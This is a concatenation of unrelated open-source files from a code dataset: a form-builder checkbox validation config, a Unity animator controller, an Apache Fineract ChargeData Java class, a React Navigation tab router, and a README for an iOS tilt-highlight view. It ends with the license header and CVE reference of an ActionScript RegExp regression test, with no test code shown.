text
stringlengths 2
100k
| meta
dict |
---|---|
export default [
{
type: 'number',
input: true,
key: 'validate.minSelectedCount',
label: 'Minimum checked number',
tooltip: 'Minimum checkboxes required before form can be submitted.',
weight: 250
},
{
type: 'number',
input: true,
key: 'validate.maxSelectedCount',
label: 'Maximum checked number',
tooltip: 'Maximum checkboxes possible before form can be submitted.',
weight: 250
},
{
type: 'textfield',
input: true,
key: 'minSelectedCountMessage',
label: 'Minimum checked error message',
tooltip: 'Error message displayed if minimum number of items not checked.',
weight: 250
},
{
type: 'textfield',
input: true,
key: 'maxSelectedCountMessage',
label: 'Maximum checked error message',
tooltip: 'Error message displayed if maximum number of items checked.',
weight: 250
}
];
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!1102 &-5722947490951230615
AnimatorState:
serializedVersion: 5
m_ObjectHideFlags: 1
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name: fadeIn
m_Speed: 1
m_CycleOffset: 0
m_Transitions:
- {fileID: -4019181922786260534}
m_StateMachineBehaviours: []
m_Position: {x: 50, y: 50, z: 0}
m_IKOnFeet: 0
m_WriteDefaultValues: 1
m_Mirror: 0
m_SpeedParameterActive: 0
m_MirrorParameterActive: 0
m_CycleOffsetParameterActive: 0
m_TimeParameterActive: 0
m_Motion: {fileID: 7400000, guid: 7aabfeb0755098246994425cee7ed4c5, type: 2}
m_Tag:
m_SpeedParameter:
m_MirrorParameter:
m_CycleOffsetParameter:
m_TimeParameter:
--- !u!1101 &-4922058320926576862
AnimatorStateTransition:
m_ObjectHideFlags: 1
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name:
m_Conditions:
- m_ConditionMode: 1
m_ConditionEvent: fadeIn
m_EventTreshold: 0
m_DstStateMachine: {fileID: 0}
m_DstState: {fileID: -5722947490951230615}
m_Solo: 0
m_Mute: 0
m_IsExit: 0
serializedVersion: 3
m_TransitionDuration: 0.23284107
m_TransitionOffset: 0
m_ExitTime: 0.029325062
m_HasExitTime: 0
m_HasFixedDuration: 1
m_InterruptionSource: 0
m_OrderedInterruption: 1
m_CanTransitionToSelf: 1
--- !u!1107 &-4902255715897051183
AnimatorStateMachine:
serializedVersion: 5
m_ObjectHideFlags: 1
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name: Base Layer
m_ChildStates:
- serializedVersion: 1
m_State: {fileID: -5722947490951230615}
m_Position: {x: 430, y: 210, z: 0}
- serializedVersion: 1
m_State: {fileID: -1704524091500595021}
m_Position: {x: 400, y: 30, z: 0}
m_ChildStateMachines: []
m_AnyStateTransitions: []
m_EntryTransitions: []
m_StateMachineTransitions: {}
m_StateMachineBehaviours: []
m_AnyStatePosition: {x: 50, y: 20, z: 0}
m_EntryPosition: {x: 50, y: 120, z: 0}
m_ExitPosition: {x: 800, y: 120, z: 0}
m_ParentStateMachinePosition: {x: 800, y: 20, z: 0}
m_DefaultState: {fileID: -1704524091500595021}
--- !u!1101 &-4019181922786260534
AnimatorStateTransition:
m_ObjectHideFlags: 1
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name:
m_Conditions: []
m_DstStateMachine: {fileID: 0}
m_DstState: {fileID: -1704524091500595021}
m_Solo: 0
m_Mute: 0
m_IsExit: 0
serializedVersion: 3
m_TransitionDuration: 0.25
m_TransitionOffset: 0
m_ExitTime: 0.75
m_HasExitTime: 1
m_HasFixedDuration: 1
m_InterruptionSource: 0
m_OrderedInterruption: 1
m_CanTransitionToSelf: 1
--- !u!1102 &-1704524091500595021
AnimatorState:
serializedVersion: 5
m_ObjectHideFlags: 1
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name: itemIdle
m_Speed: 1
m_CycleOffset: 0
m_Transitions:
- {fileID: -4922058320926576862}
m_StateMachineBehaviours: []
m_Position: {x: 50, y: 50, z: 0}
m_IKOnFeet: 0
m_WriteDefaultValues: 1
m_Mirror: 0
m_SpeedParameterActive: 0
m_MirrorParameterActive: 0
m_CycleOffsetParameterActive: 0
m_TimeParameterActive: 0
m_Motion: {fileID: 7400000, guid: 2f8659aa9dda36a4f93efc8e9a84a7fe, type: 2}
m_Tag:
m_SpeedParameter:
m_MirrorParameter:
m_CycleOffsetParameter:
m_TimeParameter:
--- !u!91 &9100000
AnimatorController:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name: SelectedImage
serializedVersion: 5
m_AnimatorParameters:
- m_Name: fadeIn
m_Type: 9
m_DefaultFloat: 0
m_DefaultInt: 0
m_DefaultBool: 0
m_Controller: {fileID: 9100000}
m_AnimatorLayers:
- serializedVersion: 5
m_Name: Base Layer
m_StateMachine: {fileID: -4902255715897051183}
m_Mask: {fileID: 0}
m_Motions: []
m_Behaviours: []
m_BlendingMode: 0
m_SyncedLayerIndex: -1
m_DefaultWeight: 0
m_IKPass: 0
m_SyncedLayerAffectsTiming: 0
m_Controller: {fileID: 9100000}
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.portfolio.charge.data;
import java.io.Serializable;
import java.math.BigDecimal;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import org.apache.fineract.accounting.glaccount.data.GLAccountData;
import org.apache.fineract.infrastructure.core.data.EnumOptionData;
import org.apache.fineract.organisation.monetary.data.CurrencyData;
import org.apache.fineract.portfolio.charge.domain.ChargeTimeType;
import org.apache.fineract.portfolio.loanaccount.data.LoanChargeData;
import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountChargeData;
import org.apache.fineract.portfolio.tax.data.TaxGroupData;
import org.joda.time.LocalDate;
import org.joda.time.MonthDay;
/**
* Immutable data object for charge data.
*/
public final class ChargeData implements Comparable<ChargeData>, Serializable {
private final Long id;
private final String name;
private final boolean active;
private final boolean penalty;
private final CurrencyData currency;
private final BigDecimal amount;
private final EnumOptionData chargeTimeType;
private final EnumOptionData chargeAppliesTo;
private final EnumOptionData chargeCalculationType;
private final EnumOptionData chargePaymentMode;
private final MonthDay feeOnMonthDay;
private final Integer feeInterval;
private final BigDecimal minCap;
private final BigDecimal maxCap;
private final EnumOptionData feeFrequency;
private final GLAccountData incomeOrLiabilityAccount;
private final TaxGroupData taxGroup;
private final Collection<CurrencyData> currencyOptions;
private final List<EnumOptionData> chargeCalculationTypeOptions;//
private final List<EnumOptionData> chargeAppliesToOptions;//
private final List<EnumOptionData> chargeTimeTypeOptions;//
private final List<EnumOptionData> chargePaymetModeOptions;//
private final List<EnumOptionData> loanChargeCalculationTypeOptions;
private final List<EnumOptionData> loanChargeTimeTypeOptions;
private final List<EnumOptionData> savingsChargeCalculationTypeOptions;
private final List<EnumOptionData> savingsChargeTimeTypeOptions;
private final List<EnumOptionData> clientChargeCalculationTypeOptions;
private final List<EnumOptionData> clientChargeTimeTypeOptions;
private final List<EnumOptionData> shareChargeCalculationTypeOptions;
private final List<EnumOptionData> shareChargeTimeTypeOptions;
private final List<EnumOptionData> feeFrequencyOptions;
private final Map<String, List<GLAccountData>> incomeOrLiabilityAccountOptions;
private final Collection<TaxGroupData> taxGroupOptions;
public static ChargeData template(final Collection<CurrencyData> currencyOptions,
final List<EnumOptionData> chargeCalculationTypeOptions, final List<EnumOptionData> chargeAppliesToOptions,
final List<EnumOptionData> chargeTimeTypeOptions, final List<EnumOptionData> chargePaymentModeOptions,
final List<EnumOptionData> loansChargeCalculationTypeOptions, final List<EnumOptionData> loansChargeTimeTypeOptions,
final List<EnumOptionData> savingsChargeCalculationTypeOptions, final List<EnumOptionData> savingsChargeTimeTypeOptions,
final List<EnumOptionData> clientChargeCalculationTypeOptions, final List<EnumOptionData> clientChargeTimeTypeOptions,
final List<EnumOptionData> feeFrequencyOptions, final Map<String, List<GLAccountData>> incomeOrLiabilityAccountOptions,
final Collection<TaxGroupData> taxGroupOptions, final List<EnumOptionData> shareChargeCalculationTypeOptions,
final List<EnumOptionData> shareChargeTimeTypeOptions) {
final GLAccountData account = null;
final TaxGroupData taxGroupData = null;
return new ChargeData(null, null, null, null, null, null, null, null, false, false, taxGroupData, currencyOptions,
chargeCalculationTypeOptions, chargeAppliesToOptions, chargeTimeTypeOptions, chargePaymentModeOptions,
loansChargeCalculationTypeOptions, loansChargeTimeTypeOptions, savingsChargeCalculationTypeOptions,
savingsChargeTimeTypeOptions, clientChargeCalculationTypeOptions, clientChargeTimeTypeOptions, null, null, null, null, null,
feeFrequencyOptions, account, incomeOrLiabilityAccountOptions, taxGroupOptions, shareChargeCalculationTypeOptions,
shareChargeTimeTypeOptions);
}
public static ChargeData withTemplate(final ChargeData charge, final ChargeData template) {
return new ChargeData(charge.id, charge.name, charge.amount, charge.currency, charge.chargeTimeType, charge.chargeAppliesTo,
charge.chargeCalculationType, charge.chargePaymentMode, charge.penalty, charge.active, charge.taxGroup,
template.currencyOptions, template.chargeCalculationTypeOptions, template.chargeAppliesToOptions,
template.chargeTimeTypeOptions, template.chargePaymetModeOptions, template.loanChargeCalculationTypeOptions,
template.loanChargeTimeTypeOptions, template.savingsChargeCalculationTypeOptions, template.savingsChargeTimeTypeOptions,
template.clientChargeCalculationTypeOptions, template.clientChargeTimeTypeOptions, charge.feeOnMonthDay, charge.feeInterval,
charge.minCap, charge.maxCap, charge.feeFrequency, template.feeFrequencyOptions, charge.incomeOrLiabilityAccount,
template.incomeOrLiabilityAccountOptions, template.taxGroupOptions, template.shareChargeCalculationTypeOptions,
template.shareChargeTimeTypeOptions);
}
public static ChargeData instance(final Long id, final String name, final BigDecimal amount, final CurrencyData currency,
final EnumOptionData chargeTimeType, final EnumOptionData chargeAppliesTo, final EnumOptionData chargeCalculationType,
final EnumOptionData chargePaymentMode, final MonthDay feeOnMonthDay, final Integer feeInterval, final boolean penalty,
final boolean active, final BigDecimal minCap, final BigDecimal maxCap, final EnumOptionData feeFrequency,
final GLAccountData accountData, TaxGroupData taxGroupData) {
final Collection<CurrencyData> currencyOptions = null;
final List<EnumOptionData> chargeCalculationTypeOptions = null;
final List<EnumOptionData> chargeAppliesToOptions = null;
final List<EnumOptionData> chargeTimeTypeOptions = null;
final List<EnumOptionData> chargePaymentModeOptions = null;
final List<EnumOptionData> loansChargeCalculationTypeOptions = null;
final List<EnumOptionData> loansChargeTimeTypeOptions = null;
final List<EnumOptionData> savingsChargeCalculationTypeOptions = null;
final List<EnumOptionData> savingsChargeTimeTypeOptions = null;
final List<EnumOptionData> feeFrequencyOptions = null;
final List<EnumOptionData> clientChargeCalculationTypeOptions = null;
final List<EnumOptionData> clientChargeTimeTypeOptions = null;
final Map<String, List<GLAccountData>> incomeOrLiabilityAccountOptions = null;
final List<EnumOptionData> shareChargeCalculationTypeOptions = null;
final List<EnumOptionData> shareChargeTimeTypeOptions = null;
final Collection<TaxGroupData> taxGroupOptions = null;
return new ChargeData(id, name, amount, currency, chargeTimeType, chargeAppliesTo, chargeCalculationType, chargePaymentMode,
penalty, active, taxGroupData, currencyOptions, chargeCalculationTypeOptions, chargeAppliesToOptions, chargeTimeTypeOptions,
chargePaymentModeOptions, loansChargeCalculationTypeOptions, loansChargeTimeTypeOptions,
savingsChargeCalculationTypeOptions, savingsChargeTimeTypeOptions, clientChargeCalculationTypeOptions,
clientChargeTimeTypeOptions, feeOnMonthDay, feeInterval, minCap, maxCap, feeFrequency, feeFrequencyOptions, accountData,
incomeOrLiabilityAccountOptions, taxGroupOptions, shareChargeCalculationTypeOptions, shareChargeTimeTypeOptions);
}
public static ChargeData lookup(final Long id, final String name, final boolean isPenalty) {
final BigDecimal amount = null;
final CurrencyData currency = null;
final EnumOptionData chargeTimeType = null;
final EnumOptionData chargeAppliesTo = null;
final EnumOptionData chargeCalculationType = null;
final EnumOptionData chargePaymentMode = null;
final MonthDay feeOnMonthDay = null;
final Integer feeInterval = null;
final Boolean penalty = isPenalty;
final Boolean active = false;
final BigDecimal minCap = null;
final BigDecimal maxCap = null;
final Collection<CurrencyData> currencyOptions = null;
final List<EnumOptionData> chargeCalculationTypeOptions = null;
final List<EnumOptionData> chargeAppliesToOptions = null;
final List<EnumOptionData> chargeTimeTypeOptions = null;
final List<EnumOptionData> chargePaymentModeOptions = null;
final List<EnumOptionData> loansChargeCalculationTypeOptions = null;
final List<EnumOptionData> loansChargeTimeTypeOptions = null;
final List<EnumOptionData> savingsChargeCalculationTypeOptions = null;
final List<EnumOptionData> savingsChargeTimeTypeOptions = null;
final List<EnumOptionData> clientChargeCalculationTypeOptions = null;
final List<EnumOptionData> clientChargeTimeTypeOptions = null;
final EnumOptionData feeFrequency = null;
final List<EnumOptionData> feeFrequencyOptions = null;
final GLAccountData account = null;
final Map<String, List<GLAccountData>> incomeOrLiabilityAccountOptions = null;
final List<EnumOptionData> shareChargeCalculationTypeOptions = null;
final List<EnumOptionData> shareChargeTimeTypeOptions = null;
final TaxGroupData taxGroupData = null;
final Collection<TaxGroupData> taxGroupOptions = null;
return new ChargeData(id, name, amount, currency, chargeTimeType, chargeAppliesTo, chargeCalculationType, chargePaymentMode,
penalty, active, taxGroupData, currencyOptions, chargeCalculationTypeOptions, chargeAppliesToOptions, chargeTimeTypeOptions,
chargePaymentModeOptions, loansChargeCalculationTypeOptions, loansChargeTimeTypeOptions,
savingsChargeCalculationTypeOptions, savingsChargeTimeTypeOptions, clientChargeCalculationTypeOptions,
clientChargeTimeTypeOptions, feeOnMonthDay, feeInterval, minCap, maxCap, feeFrequency, feeFrequencyOptions, account,
incomeOrLiabilityAccountOptions, taxGroupOptions, shareChargeCalculationTypeOptions, shareChargeTimeTypeOptions);
}
private ChargeData(final Long id, final String name, final BigDecimal amount, final CurrencyData currency,
final EnumOptionData chargeTimeType, final EnumOptionData chargeAppliesTo, final EnumOptionData chargeCalculationType,
final EnumOptionData chargePaymentMode, final boolean penalty, final boolean active, final TaxGroupData taxGroupData,
final Collection<CurrencyData> currencyOptions, final List<EnumOptionData> chargeCalculationTypeOptions,
final List<EnumOptionData> chargeAppliesToOptions, final List<EnumOptionData> chargeTimeTypeOptions,
final List<EnumOptionData> chargePaymentModeOptions, final List<EnumOptionData> loansChargeCalculationTypeOptions,
final List<EnumOptionData> loansChargeTimeTypeOptions, final List<EnumOptionData> savingsChargeCalculationTypeOptions,
final List<EnumOptionData> savingsChargeTimeTypeOptions, final List<EnumOptionData> clientChargeCalculationTypeOptions,
final List<EnumOptionData> clientChargeTimeTypeOptions, final MonthDay feeOnMonthDay, final Integer feeInterval,
final BigDecimal minCap, final BigDecimal maxCap, final EnumOptionData feeFrequency,
final List<EnumOptionData> feeFrequencyOptions, final GLAccountData account,
final Map<String, List<GLAccountData>> incomeOrLiabilityAccountOptions, final Collection<TaxGroupData> taxGroupOptions,
final List<EnumOptionData> shareChargeCalculationTypeOptions, final List<EnumOptionData> shareChargeTimeTypeOptions) {
this.id = id;
this.name = name;
this.amount = amount;
this.currency = currency;
this.chargeTimeType = chargeTimeType;
this.chargeAppliesTo = chargeAppliesTo;
this.chargeCalculationType = chargeCalculationType;
this.chargePaymentMode = chargePaymentMode;
this.feeInterval = feeInterval;
this.feeOnMonthDay = feeOnMonthDay;
this.penalty = penalty;
this.active = active;
this.minCap = minCap;
this.maxCap = maxCap;
this.currencyOptions = currencyOptions;
this.chargeCalculationTypeOptions = chargeCalculationTypeOptions;
this.chargeAppliesToOptions = chargeAppliesToOptions;
this.chargeTimeTypeOptions = chargeTimeTypeOptions;
this.chargePaymetModeOptions = chargePaymentModeOptions;
this.savingsChargeCalculationTypeOptions = savingsChargeCalculationTypeOptions;
this.savingsChargeTimeTypeOptions = savingsChargeTimeTypeOptions;
this.clientChargeCalculationTypeOptions = clientChargeCalculationTypeOptions;
this.clientChargeTimeTypeOptions = clientChargeTimeTypeOptions;
this.loanChargeCalculationTypeOptions = loansChargeCalculationTypeOptions;
this.loanChargeTimeTypeOptions = loansChargeTimeTypeOptions;
this.feeFrequency = feeFrequency;
this.feeFrequencyOptions = feeFrequencyOptions;
this.incomeOrLiabilityAccount = account;
this.incomeOrLiabilityAccountOptions = incomeOrLiabilityAccountOptions;
this.taxGroup = taxGroupData;
this.taxGroupOptions = taxGroupOptions;
this.shareChargeCalculationTypeOptions = shareChargeCalculationTypeOptions;
this.shareChargeTimeTypeOptions = shareChargeTimeTypeOptions;
}
@Override
public boolean equals(final Object obj) {
if (!(obj instanceof ChargeData)) {
return false;
}
final ChargeData chargeData = (ChargeData) obj;
return this.id.equals(chargeData.id);
}
@Override
public int hashCode() {
return this.id.hashCode();
}
@Override
public int compareTo(final ChargeData obj) {
if (obj == null) {
return -1;
}
return obj.id.compareTo(this.id);
}
public LoanChargeData toLoanChargeData() {
BigDecimal percentage = null;
if (this.chargeCalculationType.getId() == 2) {
percentage = this.amount;
}
return LoanChargeData.newLoanChargeDetails(this.id, this.name, this.currency, this.amount, percentage, this.chargeTimeType,
this.chargeCalculationType, this.penalty, this.chargePaymentMode, this.minCap, this.maxCap);
}
public SavingsAccountChargeData toSavingsAccountChargeData() {
final Long savingsChargeId = null;
final Long savingsAccountId = null;
final BigDecimal amountPaid = BigDecimal.ZERO;
final BigDecimal amountWaived = BigDecimal.ZERO;
final BigDecimal amountWrittenOff = BigDecimal.ZERO;
final BigDecimal amountOutstanding = BigDecimal.ZERO;
final BigDecimal percentage = BigDecimal.ZERO;
final BigDecimal amountPercentageAppliedTo = BigDecimal.ZERO;
final Collection<ChargeData> chargeOptions = null;
final LocalDate dueAsOfDate = null;
final Boolean isActive = null;
final LocalDate inactivationDate = null;
return SavingsAccountChargeData.instance(savingsChargeId, this.id, savingsAccountId, this.name, this.currency, this.amount,
amountPaid, amountWaived, amountWrittenOff, amountOutstanding, this.chargeTimeType, dueAsOfDate, this.chargeCalculationType,
percentage, amountPercentageAppliedTo, chargeOptions, this.penalty, this.feeOnMonthDay, this.feeInterval, isActive,
inactivationDate);
}
public ShareAccountChargeData toShareAccountChargeData() {
final Long shareChargeId = null;
final Long shareAccountId = null;
final BigDecimal amountPaid = BigDecimal.ZERO;
final BigDecimal amountWaived = BigDecimal.ZERO;
final BigDecimal amountWrittenOff = BigDecimal.ZERO;
final BigDecimal amountOutstanding = BigDecimal.ZERO;
final BigDecimal percentage = BigDecimal.ZERO;
final BigDecimal amountPercentageAppliedTo = BigDecimal.ZERO;
final Collection<ChargeData> chargeOptions = null;
final Boolean isActive = null;
final BigDecimal chargeAmountOrPercentage = BigDecimal.ZERO;
return new ShareAccountChargeData(shareChargeId, this.id, shareAccountId, this.name, this.currency, this.amount, amountPaid,
amountWaived, amountWrittenOff, amountOutstanding, this.chargeTimeType, this.chargeCalculationType, percentage,
amountPercentageAppliedTo, chargeOptions, isActive, chargeAmountOrPercentage);
}
public boolean isPenalty() {
return this.penalty;
}
public boolean isOverdueInstallmentCharge() {
boolean isOverdueInstallmentCharge = false;
if (this.chargeTimeType != null) {
isOverdueInstallmentCharge = ChargeTimeType.fromInt(this.chargeTimeType.getId().intValue()).isOverdueInstallment();
}
return isOverdueInstallmentCharge;
}
public Long getId() {
return id;
}
public String getName() {
return name;
}
public CurrencyData getCurrency() {
return currency;
}
}
| {
"pile_set_name": "Github"
} |
import shortid from 'shortid';
import {
CommonAction,
BaseRouter,
PartialState,
NavigationState,
DefaultRouterOptions,
Router,
Route,
} from '@react-navigation/core';
export type TabActionType = {
type: 'JUMP_TO';
payload: { name: string; params?: object };
source?: string;
target?: string;
};
export type BackBehavior = 'initialRoute' | 'order' | 'history' | 'none';
export type TabRouterOptions = DefaultRouterOptions & {
backBehavior?: BackBehavior;
};
export type TabNavigationState = Omit<NavigationState, 'history'> & {
/**
* Type of the router, in this case, it's tab.
*/
type: 'tab';
/**
* List of previously visited route keys.
*/
history: { type: 'route'; key: string }[];
};
const TYPE_ROUTE = 'route' as const;
export const TabActions = {
jumpTo(name: string, params?: object): TabActionType {
return { type: 'JUMP_TO', payload: { name, params } };
},
};
const getRouteHistory = (
routes: Route<string>[],
index: number,
backBehavior: BackBehavior
) => {
const history = [{ type: TYPE_ROUTE, key: routes[index].key }];
switch (backBehavior) {
case 'initialRoute':
if (index !== 0) {
history.unshift({ type: TYPE_ROUTE, key: routes[0].key });
}
break;
case 'order':
for (let i = index; i > 0; i--) {
history.unshift({ type: TYPE_ROUTE, key: routes[i - 1].key });
}
break;
case 'history':
// The history will fill up on navigation
break;
}
return history;
};
const changeIndex = (
state: TabNavigationState,
index: number,
backBehavior: BackBehavior
) => {
let history;
if (backBehavior === 'history') {
const currentKey = state.routes[index].key;
history = state.history
.filter(it => (it.type === 'route' ? it.key !== currentKey : false))
.concat({ type: TYPE_ROUTE, key: currentKey });
} else {
history = getRouteHistory(state.routes, index, backBehavior);
}
return {
...state,
index,
history,
};
};
export default function TabRouter({
initialRouteName,
backBehavior = 'history',
}: TabRouterOptions) {
const router: Router<TabNavigationState, TabActionType | CommonAction> = {
...BaseRouter,
type: 'tab',
getInitialState({ routeNames, routeParamList }) {
const index =
initialRouteName !== undefined && routeNames.includes(initialRouteName)
? routeNames.indexOf(initialRouteName)
: 0;
const routes = routeNames.map(name => ({
name,
key: `${name}-${shortid()}`,
params: routeParamList[name],
}));
const history = getRouteHistory(routes, index, backBehavior);
return {
stale: false,
type: 'tab',
key: `tab-${shortid()}`,
index,
routeNames,
history,
routes,
};
},
getRehydratedState(partialState, { routeNames, routeParamList }) {
let state = partialState;
if (state.stale === false) {
return state;
}
const routes = routeNames.map(name => {
const route = (state as PartialState<TabNavigationState>).routes.find(
r => r.name === name
);
return {
...route,
name,
key:
route && route.name === name && route.key
? route.key
: `${name}-${shortid()}`,
params:
routeParamList[name] !== undefined
? {
...routeParamList[name],
...(route ? route.params : undefined),
}
: route
? route.params
: undefined,
} as Route<string>;
});
const index = Math.min(
Math.max(
typeof state.index === 'number'
? state.index
: routeNames.indexOf(state.routes[0].name),
0
),
routes.length - 1
);
let history = state.history?.filter(it =>
routes.find(r => r.key === it.key)
);
if (!history?.length) {
history = getRouteHistory(routes, index, backBehavior);
}
return {
stale: false,
type: 'tab',
key: `tab-${shortid()}`,
index,
routeNames,
history,
routes,
};
},
getStateForRouteNamesChange(state, { routeNames, routeParamList }) {
const routes = routeNames.map(
name =>
state.routes.find(r => r.name === name) || {
name,
key: `${name}-${shortid()}`,
params: routeParamList[name],
}
);
const index = Math.max(
0,
routeNames.indexOf(state.routes[state.index].name)
);
let history = state.history.filter(it =>
routes.find(r => r.key === it.key)
);
if (!history.length) {
history = getRouteHistory(routes, index, backBehavior);
}
return {
...state,
history,
routeNames,
routes,
index,
};
},
getStateForRouteFocus(state, key) {
const index = state.routes.findIndex(r => r.key === key);
if (index === -1 || index === state.index) {
return state;
}
return changeIndex(state, index, backBehavior);
},
getStateForAction(state, action) {
switch (action.type) {
case 'JUMP_TO':
case 'NAVIGATE': {
let index = -1;
if (action.type === 'NAVIGATE' && action.payload.key) {
index = state.routes.findIndex(
route => route.key === action.payload.key
);
} else {
index = state.routes.findIndex(
route => route.name === action.payload.name
);
}
if (index === -1) {
return null;
}
return changeIndex(
{
...state,
routes:
action.payload.params !== undefined
? state.routes.map((route, i) =>
i === index
? {
...route,
params: {
...route.params,
...action.payload.params,
},
}
: route
)
: state.routes,
},
index,
backBehavior
);
}
case 'GO_BACK': {
if (state.history.length === 1) {
return null;
}
const previousKey = state.history[state.history.length - 2].key;
const index = state.routes.findIndex(
route => route.key === previousKey
);
if (index === -1) {
return null;
}
return {
...state,
history: state.history.slice(0, -1),
index,
};
}
default:
return BaseRouter.getStateForAction(state, action);
}
},
shouldActionChangeFocus(action) {
return action.type === 'NAVIGATE';
},
actionCreators: TabActions,
};
return router;
}
| {
"pile_set_name": "Github"
} |
TLTiltHighlightView
===================
`TLTiltHighlightView` is a `UIView` subclass with a horizontal gradient which adjusts its appearance based on the positional attitude of the device. The movement of the gradient when re-orientating the device is *subtle* – it's meant to augment keylines. This mimics the iOS 6 Music app (notice the gradient keylines at the very top and bottom of the images).


How to Use
-----------------------
Drag `TLTiltHighlightView.h` and `TLTiltHighlightView.m` into your project. Make sure to [add](http://stackoverflow.com/questions/3352664/how-to-add-existing-frameworks-in-xcode-4) QuartzCore and CoreMotion to the list of libraries you link against.
Alternatively, you can use [CocoaPods](http://cocoapods.org):
pod search TLTiltHighlightView
Create an instance of `TLTiltHighlightView` and add it to a view hierarchy. Optimal size is any width and 2pt tall (the keyline will always sit at the bottom of the `TLTiltHighlightView`).
TLTiltHighlightView *highlightView = [[TLTiltHighlightView alloc] initWithFrame:CGRectMake(0, 44, CGRectGetWidth(self.view.bounds), 2)];
[self.view addSubview:highlightView];

You can also change the background colour and the highlight colours.
highlightView.highlightColor = [UIColor redColor];
highlightView.backgroundColor = [UIColor clearColor];
Alternatively to instantiating the class programmatically, you can also use Interface Builder by selecting the Identity Inspector and changing the class of a view.

The `TLTiltHighlightView` class supports all four interface orientations of iPhones and iPads.
Requirements
-----------------------
You must link with QuartzCore and CoreMotion. This project requires ARC and has been tested on iOS 6. It should work on iOS 5, but it has not been rigorously tested. If you use it successfully on iOS 5, please let us know!
| {
"pile_set_name": "Github"
} |
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
import com.adobe.test.Assert;
// var SECTION = "RegExp";
// var VERSION = "as3";
// var TITLE = "https://bugzilla.mozilla.org/show_bug.cgi?id=550269";
// CVE-2008-0674: large number of characters with Unicode code points greater than 255
